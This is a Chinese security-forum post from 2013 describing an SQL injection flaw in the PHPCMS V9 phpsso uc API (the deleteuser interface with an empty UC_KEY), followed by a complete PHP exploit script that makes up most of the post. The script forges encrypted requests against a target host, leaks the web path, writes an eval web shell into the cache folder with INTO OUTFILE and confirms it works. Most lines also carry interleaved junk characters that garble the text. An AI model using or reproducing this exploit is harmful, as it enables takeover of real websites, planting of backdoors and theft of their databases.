中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
  ?; c2 k. R# W: C% G& y4 @) b! Z* X& c) i4 T1 _  T9 ]
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。' F0 L/ g7 G2 |# G: M, E
  o" t5 }# v$ `: A# C7 W
漏洞分析:9 w9 g& P% M4 }9 J% ]
1.未启用ucenter服务的情况下uc_key为空) Y) Q: G4 q: Y* E( R! r9 S2 F
define('UC_KEY', pc_base::load_config('system', 'uc_key'));6 ?8 u2 y( g& |7 b; O4 D4 `
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 z" ?: l0 v2 J5 Z    public function deleteuser($get,$post) {
8 M5 R: L* \- [0 \, i2 K0 {        pc_base::load_app_func('global', 'admin');
0 s) `6 W( d& \6 k) I        pc_base::load_app_class('messagequeue', 'admin' , 0);/ p) w; u) ^, `$ L6 b
        $ids = new_stripslashes($get['ids']);+ i: |, f% l0 o5 V! T1 H
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 L. P# G2 j; \6 ?5 ?2 U. q
SQL语句为
' _. {/ ]+ n! q# k  u+ f: _6 LSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 A- [6 G# H4 w* E" b: K6 n* _7 O" y! {0 S- K# H
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
) w; S* j( @( v8 L' F2 W; S/ ~<?php
  |7 _: H9 V) P- K- O; ]1 W8 S) pprint_r('
& T" C8 _2 F7 u- ?+ ~---------------------------------------------------------------------------
" p; u  V# f3 g' I1 t, HPHPcms (v9 or Old Version) uc api sql injection 0day, |* l. P+ _  }" R. R$ @
by rayh4c#80sec.com/ x9 r8 [: g/ G' N. F
---------------------------------------------------------------------------
) G# X5 n  N2 R% ~1 a');
) s6 q! t: X" u' ?
( ^1 y' |  X' v5 q% ~if ($argc<3) {
3 K- \) i" F* D6 V, o' k7 d) o    print_r('
; ?, l  J5 X; {---------------------------------------------------------------------------! k7 D4 e0 n' ^- Z
Usage: php '.$argv[0].' host path OPTIONS
* H" H" _: T- M! `" v# fhost:      target server (ip/hostname)2 K9 l. q1 @6 q! Z. c2 ~. S. c
path:      path to phpcms6 f0 v  W" F6 J/ I
Options:
) q( W) e" H2 n" d -p[port]:    specify a port other than 80
. c+ c2 n# ~( h  k& J -P[ip:port]: specify a proxy: a; T$ _3 x8 X9 x9 H
Example:
* B/ W( d7 t+ xphp '.$argv[0].' localhost /# \3 A9 c# E" j3 J
php '.$argv[0].' localhost /phpcms/ -p81& j; Y1 k% Y# W
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:801 x" j7 [) B4 I! _0 L; H
---------------------------------------------------------------------------' h( j/ x2 v3 ?
');" X" m( s1 w0 T, J' `& Y
    die;/ I8 w% M6 j4 b& O. C2 T! H7 S
}( N$ D5 h" q6 _1 |  `  _1 H* _" n
$ V4 |" f1 a, X
error_reporting(7);
- V/ M+ L% O9 W% f% t8 E* x9 _: Jini_set("max_execution_time",0);
+ U; R, ?6 [0 u: ~# o: mini_set("default_socket_timeout",5);# f4 t4 C9 [) n  y5 A

% j, s" ~( U7 hfunction quick_dump($string)
4 W8 G; O: @1 }$ V, T{  W3 _2 L& `- d; |7 Z8 i$ r! g1 l
  $result='';$exa='';$cont=0;0 N  U7 Y5 X+ w- h8 u7 S  b1 I
  for ($i=0; $i<=strlen($string)-1; $i++): U& \/ I0 _8 ?2 S% |# l. V
  {% {( }- _( V: D' a% b
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )); q' Z* h# m$ N1 O) M, d+ W/ R/ g
   {$result.="  .";}
2 a5 M/ l# \4 P2 V* Q! V   else
/ x* v9 R$ I. [( _/ p( E1 W   {$result.="  ".$string[$i];}* k' p. ~  A% h7 _# G+ ?- i( A
   if (strlen(dechex(ord($string[$i])))==2)
' ]3 I2 K# D" G2 J1 B   {$exa.=" ".dechex(ord($string[$i]));}
8 b2 U4 v' [" ?! Z* c0 V$ o; g   else
5 |! O* b: ]/ R* ^# W   {$exa.=" 0".dechex(ord($string[$i]));}4 ^3 a  `. u2 I+ C' ^- v. m
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
( G' f( r! @- _7 C5 V, R- Y  }, @9 Q0 ^. A' M
return $exa."\r\n".$result;$ q- J* u6 _/ V( O; ?& V2 N& K2 q4 a- N
}! q6 Y8 Q8 O* k( H8 W- M  _# a
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  Q& ~0 q2 s0 M% U, g& d0 o+ b) H

) _3 D4 R4 L! m% s% ]* Dfunction send($packet)
3 j% R2 j# m# Q5 t8 n  d{
# K/ B# m* Y7 Z% p) f+ A* F, N  global $proxy, $host, $port, $html, $proxy_regex;
! P: q, p; u7 j) O  G) L0 x+ ]1 g; _  if ($proxy=='') {! R9 E; b( F9 Y7 T4 v
    $ock=fsockopen(gethostbyname($host),$port);, T# D- ]! M  r1 P
    if (!$ock) {4 G5 l) O5 z% G& b) K- [
      echo 'No response from '.$host.':'.$port; die;
: O+ j2 X) V$ t/ d+ k    }
8 c, T) N/ Z( m3 r) o$ R: e, ?/ z  }
; I7 X! j0 y% R' C6 D  else {
" H6 ~4 L0 X- o! e8 t! X5 v        $c = preg_match($proxy_regex,$proxy);
$ e3 T8 u7 T4 x; v6 u/ B5 V    if (!$c) {1 l% H/ H* O8 j4 m: @
      echo 'Not a valid proxy...';die;; g+ ~5 {3 @. R0 d% ?
    }
: \- ~5 u1 G* z+ T' z* L9 p' F    $parts=explode(':',$proxy);& y" h1 ~' E, d1 l6 X8 ^' b* N
    $parts[1]=(int)$parts[1];
9 K0 y; Z  s) ~/ P1 M9 r$ t    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
; d; w% P  e% Q$ ?8 T9 e1 i    $ock=fsockopen($parts[0],$parts[1]);( o; ~1 W8 \4 B2 \
    if (!$ock) {
* k/ g3 j. A( p+ r8 Y      echo 'No response from proxy...';die;8 p; T! |7 i3 Z! H! s! k% H+ _
        }
! m1 M6 p7 ~2 d) T  }7 p' ]/ E2 I% Y0 H
  fputs($ock,$packet);
. `2 J# W8 l) d' V" o  if ($proxy=='') {
# e+ d0 F" B/ x& a    $html='';+ w" I  d  W% a  ~2 E2 t2 @- f
    while (!feof($ock)) {' u; ?" v5 w7 o3 R$ m2 H2 c
      $html.=fgets($ock);6 K5 s; j/ X  `# L' j) L
    }
1 O- [8 x2 c1 r6 q: k# i6 E  }
$ g3 H7 l; [8 C) {6 x  else {  N! F7 c( {- g* Z
    $html='';/ G8 [- S# J" a4 k
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
" S# J# s' d& D- d4 l  x      $html.=fread($ock,1);  M; i  w5 ~) S) c
    }7 @: y) g0 w4 {# d/ C; K
  }' I- l! u  U$ q$ Z. h& j4 `
  fclose($ock);
$ p2 Q5 c# P" {}
4 |7 q  q" ~% S
6 i% A: P! c1 f8 ]; G  r1 [: m8 Z9 s) b$host=$argv[1];8 i' q7 i2 {1 }$ M% q: i. b- ^
$path=$argv[2];
: x% P7 N# c# |# ?  W- ]$port=80;! p' ^. b1 S, }1 i5 n3 F' a
$proxy="";4 _+ x6 K/ z3 ?3 ^/ z5 K- h
for ($i=3; $i<$argc; $i++){
8 ]! _% m. Q' Z: n) F' `0 z$temp=$argv[$i][0].$argv[$i][1];
7 x+ ?3 K; Y, Jif ($temp=="-p")- s! r$ X: ^/ o1 i
{% G8 S+ p  C2 k% z7 T
  $port=(int)str_replace("-p","",$argv[$i]);
: W' P5 d0 L4 \, S$ I  k' C}
4 d) j4 _0 p4 l4 \# z8 Iif ($temp=="-P")% C3 o- ]4 T" `3 h
{
1 ?4 E5 z- W4 @" S! `  $proxy=str_replace("-P","",$argv[$i]);
' k' z/ p- }' E3 [5 @& ]8 m1 i$ ?! l}; t/ R8 z; e6 Y0 Q3 R2 ]7 B
}3 k6 e: s- ~% M. G/ H) N  u0 o; l9 R
$ P6 ~9 p  Z$ e
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+ C4 x2 N) J5 K( O" `  tif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
1 X' `& M8 F4 K3 X* G  S. O# K( L0 `+ @3 S6 r9 L2 J. t
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {8 {$ o0 ~. c$ V- o+ Q; O

% \, _+ ^5 A4 ^+ N    $ckey_length = 4;
1 X( g0 I/ z% L- ~9 n5 b' U
: C6 W- i, n  c$ W& d    $key = md5($key ? $key : '');
& m. F9 w) ]4 R; F) F  T4 C4 R6 m/ j    $keya = md5(substr($key, 0, 16));
" b( T1 Z: X  c9 a1 [% a, V5 E    $keyb = md5(substr($key, 16, 16));
: x7 J4 T8 U$ B    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ I6 U- U) t6 d" M7 A8 X- s1 I' V4 N) h0 S) ?& {- r1 \
    $cryptkey = $keya.md5($keya.$keyc);
5 S5 S* l1 c' M- X5 W2 I    $key_length = strlen($cryptkey);: w2 g* ^0 s& {

' k8 s5 W7 `5 j- O. x3 U; |! n, x    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;# p1 o9 J5 J% D9 |
    $string_length = strlen($string);
  v! d$ O9 a- R4 }5 m
6 J/ u* i* ~% k& G/ _. ^, V) q    $result = '';
1 s; |4 q. i/ _0 |6 g* K" k4 _$ H    $box = range(0, 255);
1 ?$ x" z9 ]4 [/ u! D2 Q5 c
7 R# X# u% |3 }; ~! u, B  Z) O    $rndkey = array();* Y+ ?; _6 D+ n/ @
    for($i = 0; $i <= 255; $i++) {
, ^: A$ Q# `+ n* L6 Y        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
6 ]) |5 V: V" Y& t/ T9 H5 ?5 W$ F( h9 p    }
2 u# z) F- w# `1 p1 C% @( T. v$ G1 V* |" q8 E- {0 [+ T
    for($j = $i = 0; $i < 256; $i++) {
" I0 b& c- u) |- g5 Y        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, F2 V$ R& Q8 k; H8 S% ^) J        $tmp = $box[$i];) p8 i! R6 A. R. k8 `! k% u' D
        $box[$i] = $box[$j];0 T2 a& s. l; `+ |8 }
        $box[$j] = $tmp;$ ]  R8 m" `6 y0 i) z, S
    }
2 ^/ M. P0 Y3 P8 D& z" ]. I# Y& p/ f
    for($a = $j = $i = 0; $i < $string_length; $i++) {
, z% J7 A" W: @' |$ ~: A! B- Q( D; F        $a = ($a + 1) % 256;+ M+ n8 i7 O5 A7 N& S& L
        $j = ($j + $box[$a]) % 256;3 O5 h+ W1 O- i! D; |
        $tmp = $box[$a];
4 l4 c: b3 s/ }7 _        $box[$a] = $box[$j];5 q  w: E  a' D; [. j0 d: ?9 t, o
        $box[$j] = $tmp;
+ W. f2 R9 u7 N  ?5 w" l        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));. E, C- I/ G7 r) z) \
    }, _$ l' W6 O& I7 A; ?

. R- d. c& ]) P# N8 x    if($operation == 'DECODE') {
/ s' k& w$ T# r& Z0 B9 E        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
& _  N" o, M) N  w            return substr($result, 26);
/ ~8 ^3 d, u, S; k        } else {+ O7 r* m9 ]4 |+ k& ]) r
            return '';( I6 i$ V0 ~7 h7 ^
        }
7 U- J+ p) _* n4 Y( ~. w: @; A9 t0 \    } else {4 W" \+ R1 s" y5 x5 ~5 o3 [
        return $keyc.str_replace('=', '', base64_encode($result));
0 }4 z/ i% U" I0 W    }
  T, R/ {6 d6 U+ ~! p4 i- ]0 z
) [% {- H5 @2 c% o7 T3 U}
+ G& A$ ~; u/ Y4 |) _1 b# E% z- f! a
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";5 `5 f: M  c0 y5 N5 ^
$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ G. z; i+ l. {+ v1 I
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; K, {& T% g) H% p( p5 J* l) K  h$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";6 f4 p8 k: g% z
$packet.="User-Agent: Mozilla/5.0\r\n";5 g% R6 }9 {& M# s: Q, e/ D
$packet.="Host: ".$host."\r\n";( f1 e! J) z0 U) z& w4 N" U$ e
$packet.="Connection: Close\r\n\r\n";
* U5 F, M& [, \. w8 L6 vsend($packet);7 s1 \: o  o( N$ s! [
if(strpos($html,"MySQL Errno") > 0){! H2 ]" z- Z& U3 m
echo "[2] 发现存在SQL注入漏洞"."\n";
6 z8 v; O" ]. E9 }4 `echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
6 p& k3 {" D6 R# B& [# d6 ~9 N5 Z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
' B+ L7 t3 Q1 s. E! x$packet.="User-Agent: Mozilla/5.0\r\n";
1 D* a2 p$ }8 m: _5 D. b$packet.="Host: ".$host."\r\n";
' q& i  L# @- `5 Z$packet.="Connection: Close\r\n\r\n";0 V- Y7 h, D: w. I; U5 i# Q' g  Y
send($packet);6 c8 q" D: M# f+ l4 h3 E5 b
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
2 X3 S9 B5 q# ~9 g) G//print_r($matches);
5 D# l0 Y: \( X# M3 yif(!empty($matches)){" ~  r- K/ }+ E7 c6 _2 d
echo "[4] 得到web路径 " . $matches[0]."\n";6 }5 ^, P4 m; x0 h$ j% \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
( {, \. j% _2 |" g$SQL = "time=999999999999999999999999&ids=1)";
( R8 _5 B% P- \$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! x2 e* a! a' s( B7 _( E' W& c2 L' ~( K$SQL.="&action=deleteuser";
: o$ |$ t7 A# C, V$SQL = urlencode(authcode($SQL, "ENCODE", ""));
- z: K4 V2 X. [% d7 E5 Cecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";* t3 j9 Y4 e, i* L, C; G! _1 {) }5 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";$ e2 {! y5 M, U4 Z% E
$packet.="User-Agent: Mozilla/5.0\r\n";
. ^7 z$ W% R9 o, Q1 w5 z! a6 C$packet.="Host: ".$host."\r\n";
) F1 L' n, ]* f" d% z) F$packet.="Connection: Close\r\n\r\n";
3 g) w; e# A/ T0 {send($packet);
; x! U& P# h( D. n5 a, Q. |if(strpos($html,"Access denied") > 0){
, K' e9 ]3 G; U2 e* S' G2 Hecho "[-] MYSQL权限过低 禁止写入文件 ";! s* P5 x" `3 T% h% b+ }7 V0 n, ?
die;  v. i; k* b9 X2 o* @' i, h
}
% C$ \- l  F( ]. S: Hecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
% g2 i" @/ d% _  k" h" s$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
9 ~$ U0 C( Q+ ^4 f$packet.="User-Agent: Mozilla/5.0\r\n";2 X( E& @4 Z% s) ^
$packet.="Host: ".$host."\r\n";
3 c! I* e' s0 w7 |( G3 ?$packet.="Connection: Close\r\n\r\n";4 h. I: d9 w; K5 {2 [7 Z* y3 h; A
send($packet);5 A- N! S, i( C1 d
if(strpos($html,"<title>phpinfo()</title>") > 0){
3 t9 m( Q" g+ \7 R' Necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";8 R% v/ ?6 }% h
}
6 W) z2 ]9 r9 c0 u( }}else{! i. g( @0 K# S) x
echo "[-]未取到web路径 ";7 k& r5 ^/ |! I+ M0 o; c
}
0 h% [8 A& [6 s, Z/ P) B. {}else{
% p: c0 e) e/ T" \* Iecho "[*]不存在SQL注入漏洞"."\n";
- J. f# y2 M. s$ H}9 y& x2 I# K2 v. ^- w/ a

; M2 J0 X; k5 D+ R7 Q5 t$ T?>7 P8 E5 a) K/ t. }





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2